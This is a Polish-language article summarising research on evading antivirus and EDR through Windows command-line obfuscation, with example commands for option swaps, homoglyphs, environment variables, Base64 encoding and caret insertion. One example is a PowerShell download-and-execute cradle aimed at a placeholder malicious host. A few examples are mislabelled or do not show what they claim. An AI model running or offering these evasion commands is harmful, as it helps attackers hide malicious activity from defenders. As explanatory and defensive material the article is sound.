Jak ominąć systemy bezpieczeństwa AV/EDR poprzez obfuskację linii poleceń

Cały proces obfuskacji opisał holenderski badacz Wietze Beukema w swoim artykule „Bypassing Detections with Command-Line Obfuscation”. Szczegółowo omówił on metody zaciemniania argumentów linii poleceń w celu ominięcia mechanizmów wykrywania zagrożeń stosowanych przez antywirusy (AV) oraz systemy EDR (Endpoint Detection & Response). Jest to kluczowa technika stosowana w atakach bezplikowych (fileless attacks), gdzie zamiast pobierania złośliwego pliku atakujący wykorzystują wbudowane narzędzia systemowe (LOLBins – Living-off-the-Land Binaries) np. powershell.exe, wmic.exe czy rundll32.exe.

Kontekst i znaczenie obfuskacji w cyberatakach

Tradycyjne oprogramowanie zabezpieczające wykrywało zagrożenia na podstawie sygnatur plików, ale w ostatnich latach popularność zyskały ataki bezplikowe, które nie pozostawiają łatwych do znalezienia artefaktów na dysku. W odpowiedzi producenci AV i EDR zaczęli analizować argumenty linii poleceń, próbując wykrywać podejrzane operacje już na poziomie uruchomienia procesu. Jednak obfuskacja linii poleceń umożliwia zaciemnienie rzeczywistego celu komendy, utrudniając odnalezienie śladów złośliwych działań. Badacz opisał różne sposoby takiej obfuskacji oraz jej skuteczność w omijaniu zabezpieczeń.

Metody obfuskacji argumentów w linii poleceń

Poniżej przedstawiamy kilka technik obfuskacji, które pozwalają na ukrycie rzeczywistego działania polecenia:

1. Modyfikacja separatorów i znaków opcji

• W systemie Windows wiele narzędzi akceptuje różne formaty opcji.
• Przykładowo ping.exe działa zarówno z „-n” jak i „/n”:

ping -n 4 8.8.8.8
ping /n 4 8.8.8.8

Pozwala to atakującym omijać proste detekcje oparte na sygnaturach.

2. Manipulacja argumentem argv[0]

• W systemie Windows procesy mogą mieć zmodyfikowany argument argv[0], co oznacza, że EDR może niepoprawnie identyfikować uruchamiany program.
• Można np. uruchomić powershell.exe, ale podać jako argv[0] dowolną inną nazwę, np.:

C:\Windows\System32\cmd.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Może to wprowadzać w błąd systemy detekcji analizujące nazwę procesu.

3. Zastępowanie znaków w ścieżkach

• Windows pozwala na uruchamianie plików binarnych poprzez różne aliasy i zmienne środowiskowe, np.:

%SYSTEMROOT%\System32\cmd.exe

zamiast

C:\Windows\System32\cmd.exe

Możliwe jest też używanie skrótów Unicode, np. C:\Windows\System32\pοwershell.exe, gdzie litera „o” pochodzi z alfabetugreckiego, co sprawia, że polecenie wygląda identycznie dla człowieka, ale może ominąć detekcję.

4. Używanie kodowania Base64

• PowerShell pozwala na kodowanie poleceń w Base64, co ukrywa ich zawartość.
• Zamiast uruchomienia:

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://malicious.com')"

można użyć:

powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8... # skrócony Base64

Systemy EDR często nie analizują dekodowanej zawartości, przez co atak może przejść niezauważony.

5. Użycie zmiennych środowiskowych do ukrycia części polecenia

• W Windowsie zmienne środowiskowe mogą być używane do dynamicznego generowania poleceń:

set cmd1=calc.exe
%cmd1%

Antywirus może nie wykryć calc.exe, ponieważ pierwotne polecenie jest umieszczone w zmiennej.

6. Wstrzykiwanie znaków kontrolnych (NULL, tabulatory, spacje)

• Niektóre systemy detekcji ignorują białe znaki, więc dodanie NULL (0x00) lub innych znaków może ukryć rzeczywiste znaczenie polecenia:

p^i^n^g 8.8.8.8

Może to skutecznie oszukać regexy stosowane w mechanizmach detekcji.

Przykład obfuskacji polecenia certutil

Badacz w celu zamaskowania linii poleceń użył narzędzia w Powershell o nazwie DOSFuscation. Poniżej przykład pokazujący, jak DOSFuscation skutecznie zaciemnia polecenie, ale ostatecznie wykonanie certutil pojawia się w niezaciemnionej formie w narządziu ProcMon.

Poniżej prezentujemy wynik tej samej komendy, ale już w zaciemnionej formie polecenia certutil wykonanego z poziomu wiersza poleceń. Jest ono również widoczne w zaciemnionej formie w ProcMon, w przeciwieństwie do zaciemniania polecenia wykonanego za pomocą DOSFuscation.

Wietze eksperymentował z różnymi narzędziami bezpieczeństwa, aby sprawdzić, czy mogą wykryć obfuskowane polecenia. Testował zarówno rozwiązania EDR, jak i oparte na regułach antywirusy. Okazało się, że wiele z tych metod pozwala na skuteczne obejście zabezpieczeń, ponieważ analiza poleceń często jest płytka i oparta na sztywnych regułach detekcji.

Wspomina także o narzędziu ArgFuscator, które automatycznie generuje obfuskowane wersje poleceń, co może pomóc zarówno obrońcom w testowaniu skuteczności mechanizmów detekcji, jak i atakującym w omijaniu zabezpieczeń.

Podsumowanie i wnioski

1. Analiza argumentów linii poleceń jest kluczowa dla wykrywania ataków bezplikowych, ale obfuskacja pozwala na ukrycie rzeczywistego zamiaru polecenia.
2. Metody obfuskacji są różnorodne – od manipulacji składnią poleceń, przez kodowanie Base64, aż po wykorzystanie Unicode i zmiennych środowiskowych.
3. Wielu dostawców EDR i AV nie radzi sobie z obfuskacją, ponieważ stosują prostą analizę sygnaturową, ignorując kontekst polecenia.
4. Aby skutecznie wykrywać takie ataki, systemy bezpieczeństwa powinny analizować pełny kontekst uruchamianych procesów, a nie tylko same argumenty linii poleceń.

Obfuskacja argumentów linii poleceń to potężne narzędzie w arsenale atakujących, dlatego analitycy bezpieczeństwa muszą rozwijać bardziej zaawansowane techniki wykrywania, w tym analizę behawioralną i monitorowanie relacji procesów.